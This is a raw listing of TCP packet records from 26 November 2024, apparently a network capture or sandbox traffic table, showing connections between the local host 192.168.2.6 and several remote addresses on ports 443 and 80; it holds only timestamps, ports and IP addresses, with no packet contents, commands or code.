Nov 26, 2024 01:41:27.478528023 CET	443	49773	4.245.163.56	192.168.2.6
Nov 26, 2024 01:41:27.546119928 CET	49773	443	192.168.2.6	4.245.163.56
Nov 26, 2024 01:41:27.573544979 CET	49773	443	192.168.2.6	4.245.163.56
Nov 26, 2024 01:41:27.615335941 CET	443	49773	4.245.163.56	192.168.2.6
Nov 26, 2024 01:41:27.644725084 CET	49783	443	192.168.2.6	172.217.17.78
Nov 26, 2024 01:41:27.644761086 CET	443	49783	172.217.17.78	192.168.2.6
Nov 26, 2024 01:41:27.644819021 CET	49783	443	192.168.2.6	172.217.17.78
Nov 26, 2024 01:41:27.645107031 CET	49783	443	192.168.2.6	172.217.17.78
Nov 26, 2024 01:41:27.645119905 CET	443	49783	172.217.17.78	192.168.2.6
Nov 26, 2024 01:41:27.704363108 CET	443	49774	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.705008984 CET	49774	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.705085039 CET	443	49774	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.705527067 CET	49774	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.705543041 CET	443	49774	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.710068941 CET	49707	443	192.168.2.6	173.222.162.64
Nov 26, 2024 01:41:27.710236073 CET	49707	443	192.168.2.6	173.222.162.64
Nov 26, 2024 01:41:27.712577105 CET	49784	443	192.168.2.6	173.222.162.64
Nov 26, 2024 01:41:27.712609053 CET	443	49784	173.222.162.64	192.168.2.6
Nov 26, 2024 01:41:27.712683916 CET	49784	443	192.168.2.6	173.222.162.64
Nov 26, 2024 01:41:27.713823080 CET	443	49768	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.713885069 CET	443	49768	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.713932991 CET	49768	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.714334011 CET	49768	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.714349985 CET	443	49768	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.714361906 CET	49768	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.714366913 CET	443	49768	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.718748093 CET	49785	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.718759060 CET	443	49785	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.718822956 CET	49785	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.718977928 CET	49785	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.718990088 CET	443	49785	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.719479084 CET	49784	443	192.168.2.6	173.222.162.64
Nov 26, 2024 01:41:27.719487906 CET	443	49784	173.222.162.64	192.168.2.6
Nov 26, 2024 01:41:27.792179108 CET	443	49771	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.792263031 CET	443	49771	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.792313099 CET	49771	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.792680979 CET	443	49772	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.792684078 CET	49771	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.792696953 CET	443	49771	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.792709112 CET	49771	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.792716026 CET	443	49771	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.792728901 CET	443	49772	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.792781115 CET	49772	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.794287920 CET	49772	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.794302940 CET	443	49772	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.802766085 CET	49786	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.802800894 CET	443	49786	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.802859068 CET	49786	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.803904057 CET	49787	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.803936958 CET	443	49787	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.803986073 CET	49787	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.804790974 CET	49786	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.804805040 CET	443	49786	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.804893017 CET	49787	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.804903984 CET	443	49787	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.829935074 CET	443	49707	173.222.162.64	192.168.2.6
Nov 26, 2024 01:41:27.830039978 CET	443	49707	173.222.162.64	192.168.2.6
Nov 26, 2024 01:41:28.165977955 CET	443	49774	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:28.166045904 CET	443	49774	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:28.166145086 CET	49774	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:28.166387081 CET	49774	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:28.166387081 CET	49774	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:28.166430950 CET	443	49774	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:28.166457891 CET	443	49774	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:28.176379919 CET	49788	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:28.176409960 CET	443	49788	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:28.176773071 CET	49788	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:28.177109957 CET	49788	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:28.177124023 CET	443	49788	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:28.184571981 CET	443	49773	4.245.163.56	192.168.2.6
Nov 26, 2024 01:41:28.184592962 CET	443	49773	4.245.163.56	192.168.2.6
Nov 26, 2024 01:41:28.184600115 CET	443	49773	4.245.163.56	192.168.2.6
Nov 26, 2024 01:41:28.184624910 CET	443	49773	4.245.163.56	192.168.2.6
Nov 26, 2024 01:41:28.184636116 CET	443	49773	4.245.163.56	192.168.2.6
Nov 26, 2024 01:41:28.184645891 CET	443	49773	4.245.163.56	192.168.2.6
Nov 26, 2024 01:41:28.184674978 CET	49773	443	192.168.2.6	4.245.163.56
Nov 26, 2024 01:41:28.184685946 CET	443	49773	4.245.163.56	192.168.2.6
Nov 26, 2024 01:41:28.184750080 CET	49773	443	192.168.2.6	4.245.163.56
Nov 26, 2024 01:41:28.184750080 CET	49773	443	192.168.2.6	4.245.163.56
Nov 26, 2024 01:41:28.204575062 CET	443	49773	4.245.163.56	192.168.2.6
Nov 26, 2024 01:41:28.204649925 CET	443	49773	4.245.163.56	192.168.2.6
Nov 26, 2024 01:41:28.204673052 CET	49773	443	192.168.2.6	4.245.163.56
Nov 26, 2024 01:41:28.204766035 CET	49773	443	192.168.2.6	4.245.163.56
Nov 26, 2024 01:41:28.204900026 CET	49773	443	192.168.2.6	4.245.163.56
Nov 26, 2024 01:41:28.204900026 CET	49773	443	192.168.2.6	4.245.163.56
Nov 26, 2024 01:41:28.204912901 CET	443	49773	4.245.163.56	192.168.2.6
Nov 26, 2024 01:41:28.204919100 CET	443	49773	4.245.163.56	192.168.2.6
Nov 26, 2024 01:41:28.359772921 CET	80	49778	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:28.360116959 CET	49778	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:28.414374113 CET	443	49779	150.171.28.10	192.168.2.6
Nov 26, 2024 01:41:28.414585114 CET	49779	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:28.477483988 CET	49783	443	192.168.2.6	172.217.17.78
Nov 26, 2024 01:41:28.478019953 CET	49766	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:28.487802029 CET	49778	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:28.528377056 CET	49779	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:28.528388023 CET	443	49779	150.171.28.10	192.168.2.6
Nov 26, 2024 01:41:28.584377050 CET	49779	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:28.584387064 CET	443	49779	150.171.28.10	192.168.2.6
Nov 26, 2024 01:41:28.607681990 CET	80	49778	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:28.737930059 CET	443	49781	23.218.208.109	192.168.2.6
Nov 26, 2024 01:41:28.738126993 CET	49781	443	192.168.2.6	23.218.208.109
Nov 26, 2024 01:41:28.739702940 CET	49781	443	192.168.2.6	23.218.208.109
Nov 26, 2024 01:41:28.739711046 CET	443	49781	23.218.208.109	192.168.2.6
Nov 26, 2024 01:41:28.739955902 CET	443	49781	23.218.208.109	192.168.2.6
Nov 26, 2024 01:41:28.778970003 CET	49781	443	192.168.2.6	23.218.208.109
Nov 26, 2024 01:41:28.819331884 CET	443	49781	23.218.208.109	192.168.2.6
Nov 26, 2024 01:41:28.869324923 CET	443	49780	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:28.870392084 CET	49780	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:28.870392084 CET	49780	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:28.870409012 CET	443	49780	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:28.870424032 CET	443	49780	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:28.920655012 CET	443	49779	150.171.28.10	192.168.2.6
Nov 26, 2024 01:41:28.920761108 CET	49779	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:28.920819044 CET	443	49779	150.171.28.10	192.168.2.6
Nov 26, 2024 01:41:28.920871973 CET	443	49779	150.171.28.10	192.168.2.6
Nov 26, 2024 01:41:28.920900106 CET	49779	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:28.920999050 CET	49779	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:28.921737909 CET	49779	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:28.921737909 CET	49779	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:28.921755075 CET	443	49779	150.171.28.10	192.168.2.6
Nov 26, 2024 01:41:28.922100067 CET	49779	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:28.924285889 CET	49789	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:28.924330950 CET	443	49789	150.171.28.10	192.168.2.6
Nov 26, 2024 01:41:28.924423933 CET	49789	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:28.925070047 CET	49789	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:28.925086975 CET	443	49789	150.171.28.10	192.168.2.6
Nov 26, 2024 01:41:29.118238926 CET	443	49784	173.222.162.64	192.168.2.6
Nov 26, 2024 01:41:29.118326902 CET	49784	443	192.168.2.6	173.222.162.64
Nov 26, 2024 01:41:29.258995056 CET	443	49781	23.218.208.109	192.168.2.6
Nov 26, 2024 01:41:29.259073973 CET	443	49781	23.218.208.109	192.168.2.6
Nov 26, 2024 01:41:29.259203911 CET	49781	443	192.168.2.6	23.218.208.109
Nov 26, 2024 01:41:29.259223938 CET	443	49781	23.218.208.109	192.168.2.6
Nov 26, 2024 01:41:29.259236097 CET	49781	443	192.168.2.6	23.218.208.109
Nov 26, 2024 01:41:29.259241104 CET	443	49781	23.218.208.109	192.168.2.6
Nov 26, 2024 01:41:29.259249926 CET	49781	443	192.168.2.6	23.218.208.109
Nov 26, 2024 01:41:29.259253979 CET	443	49781	23.218.208.109	192.168.2.6
Nov 26, 2024 01:41:29.302562952 CET	49790	443	192.168.2.6	23.218.208.109
Nov 26, 2024 01:41:29.302613020 CET	443	49790	23.218.208.109	192.168.2.6
Nov 26, 2024 01:41:29.302702904 CET	49790	443	192.168.2.6	23.218.208.109
Nov 26, 2024 01:41:29.303009987 CET	49790	443	192.168.2.6	23.218.208.109
Nov 26, 2024 01:41:29.303025007 CET	443	49790	23.218.208.109	192.168.2.6
Nov 26, 2024 01:41:29.318069935 CET	443	49780	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:29.318134069 CET	443	49780	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:29.318304062 CET	49780	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:29.318675995 CET	49780	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:29.318689108 CET	443	49780	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:29.318698883 CET	49780	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:29.318702936 CET	443	49780	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:29.322531939 CET	49791	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:29.322571993 CET	443	49791	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:29.322690010 CET	49791	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:29.322918892 CET	49791	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:29.322937012 CET	443	49791	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:29.434185028 CET	80	49778	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:29.434262037 CET	49778	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:29.516000986 CET	443	49785	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:29.516614914 CET	49785	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:29.516629934 CET	443	49785	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:29.517302990 CET	49785	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:29.517307997 CET	443	49785	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:29.583364010 CET	443	49787	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:29.585231066 CET	443	49786	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:29.589596987 CET	49787	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:29.589615107 CET	443	49787	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:29.590531111 CET	49787	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:29.590536118 CET	443	49787	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:29.590806961 CET	49786	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:29.590826988 CET	443	49786	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:29.591437101 CET	49786	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:29.591442108 CET	443	49786	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:29.955251932 CET	443	49788	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:29.962380886 CET	443	49785	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:29.962537050 CET	443	49785	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:29.962594986 CET	49785	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:29.964530945 CET	49788	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:29.964543104 CET	443	49788	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:29.965337992 CET	49788	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:29.965342999 CET	443	49788	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:29.965744019 CET	49785	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:29.965744972 CET	49785	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:29.965764046 CET	443	49785	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:29.965773106 CET	443	49785	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:29.969800949 CET	49792	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:29.969825029 CET	443	49792	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:29.969886065 CET	49792	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:29.970161915 CET	49792	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:29.970174074 CET	443	49792	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:30.028917074 CET	443	49787	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:30.028983116 CET	443	49787	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:30.029280901 CET	49787	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:30.029329062 CET	49787	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:30.029347897 CET	443	49787	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:30.029403925 CET	49787	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:30.029411077 CET	443	49787	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:30.029824018 CET	443	49786	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:30.029908895 CET	443	49786	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:30.029970884 CET	49786	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:30.030375004 CET	49786	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:30.030385017 CET	443	49786	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:30.030409098 CET	49786	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:30.030414104 CET	443	49786	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:30.033087015 CET	49794	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:30.033102989 CET	443	49794	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:30.033102989 CET	49793	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:30.033128977 CET	443	49793	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:30.033170938 CET	49794	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:30.033221006 CET	49793	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:30.033380032 CET	49793	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:30.033385038 CET	443	49793	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:30.033396959 CET	49794	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:30.033406019 CET	443	49794	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:30.401241064 CET	443	49788	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:30.401329041 CET	443	49788	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:30.401474953 CET	49788	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:30.407226086 CET	49788	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:30.407249928 CET	443	49788	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:30.407279015 CET	49788	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:30.407285929 CET	443	49788	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:30.485367060 CET	49795	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:30.485410929 CET	443	49795	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:30.485474110 CET	49795	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:30.491527081 CET	49795	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:30.491543055 CET	443	49795	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:30.507788897 CET	443	49789	150.171.28.10	192.168.2.6
Nov 26, 2024 01:41:30.507885933 CET	49789	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:30.726787090 CET	443	49790	23.218.208.109	192.168.2.6
Nov 26, 2024 01:41:30.726906061 CET	49790	443	192.168.2.6	23.218.208.109
Nov 26, 2024 01:41:30.885618925 CET	49790	443	192.168.2.6	23.218.208.109
Nov 26, 2024 01:41:30.885643959 CET	443	49790	23.218.208.109	192.168.2.6
Nov 26, 2024 01:41:30.886224031 CET	443	49790	23.218.208.109	192.168.2.6
Nov 26, 2024 01:41:30.887584925 CET	49790	443	192.168.2.6	23.218.208.109
Nov 26, 2024 01:41:30.931343079 CET	443	49790	23.218.208.109	192.168.2.6
Nov 26, 2024 01:41:31.107681990 CET	443	49791	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:31.186391115 CET	49791	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:31.295665979 CET	443	49790	23.218.208.109	192.168.2.6
Nov 26, 2024 01:41:31.295701027 CET	49791	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:31.295710087 CET	443	49791	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:31.295809031 CET	443	49790	23.218.208.109	192.168.2.6
Nov 26, 2024 01:41:31.295871973 CET	49790	443	192.168.2.6	23.218.208.109
Nov 26, 2024 01:41:31.296974897 CET	49791	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:31.296983957 CET	443	49791	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:31.621681929 CET	443	49791	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:31.621752977 CET	443	49791	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:31.622118950 CET	49791	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:31.757194042 CET	443	49792	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:31.813661098 CET	443	49793	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:31.815187931 CET	49792	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:31.878236055 CET	443	49794	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:31.914190054 CET	49794	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:31.914213896 CET	443	49794	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:31.914675951 CET	49794	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:31.914680958 CET	443	49794	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:31.915147066 CET	49791	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:31.915147066 CET	49791	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:31.915179968 CET	443	49791	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:31.915194035 CET	443	49791	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:31.915863991 CET	49792	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:31.915873051 CET	443	49792	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:31.916296005 CET	49792	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:31.916300058 CET	443	49792	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:31.920953035 CET	49793	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:31.920974016 CET	443	49793	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:31.921442986 CET	49793	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:31.921448946 CET	443	49793	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.070069075 CET	49790	443	192.168.2.6	23.218.208.109
Nov 26, 2024 01:41:32.070101976 CET	443	49790	23.218.208.109	192.168.2.6
Nov 26, 2024 01:41:32.070117950 CET	49790	443	192.168.2.6	23.218.208.109
Nov 26, 2024 01:41:32.070125103 CET	443	49790	23.218.208.109	192.168.2.6
Nov 26, 2024 01:41:32.242993116 CET	443	49792	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.243062973 CET	443	49792	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.243118048 CET	49792	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.259417057 CET	443	49793	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.259489059 CET	443	49793	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.259574890 CET	49793	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.274610043 CET	443	49795	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.331254005 CET	443	49794	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.331336975 CET	443	49794	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.331393003 CET	49794	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.346889019 CET	49795	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.405610085 CET	49795	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.405623913 CET	443	49795	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.406553030 CET	49795	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.406559944 CET	443	49795	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.411030054 CET	49794	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.411067009 CET	443	49794	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.411082983 CET	49794	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.411091089 CET	443	49794	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.413412094 CET	49792	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.413434982 CET	443	49792	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.413448095 CET	49792	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.413454056 CET	443	49792	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.486073971 CET	49793	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.486073971 CET	49793	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.486102104 CET	443	49793	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.486120939 CET	443	49793	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.589546919 CET	49796	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.589567900 CET	443	49796	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.589665890 CET	49796	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.717060089 CET	49796	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.717076063 CET	443	49796	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.733668089 CET	443	49795	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.733748913 CET	443	49795	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.733823061 CET	49795	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.740938902 CET	49795	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.740938902 CET	49795	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.740963936 CET	443	49795	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.740973949 CET	443	49795	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.894782066 CET	49799	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.894829035 CET	443	49799	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.894915104 CET	49799	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.925401926 CET	49800	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.925427914 CET	443	49800	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.925499916 CET	49800	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.926870108 CET	49799	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.926886082 CET	443	49799	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.946908951 CET	49801	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.946940899 CET	443	49801	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.947016954 CET	49801	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.952941895 CET	49800	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.952959061 CET	443	49800	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.954498053 CET	49802	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.954505920 CET	443	49802	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.954576015 CET	49802	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.954749107 CET	49802	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.954761982 CET	443	49802	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.973711014 CET	49801	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:32.973728895 CET	443	49801	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:32.981396914 CET	49712	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:32.981436014 CET	49712	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:33.101310015 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:33.101352930 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:33.101367950 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:33.101428032 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:33.101473093 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:33.594326973 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:33.594408989 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:33.594470978 CET	49712	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:33.598507881 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:33.598654032 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:33.598710060 CET	49712	443	192.168.2.6	40.126.53.17
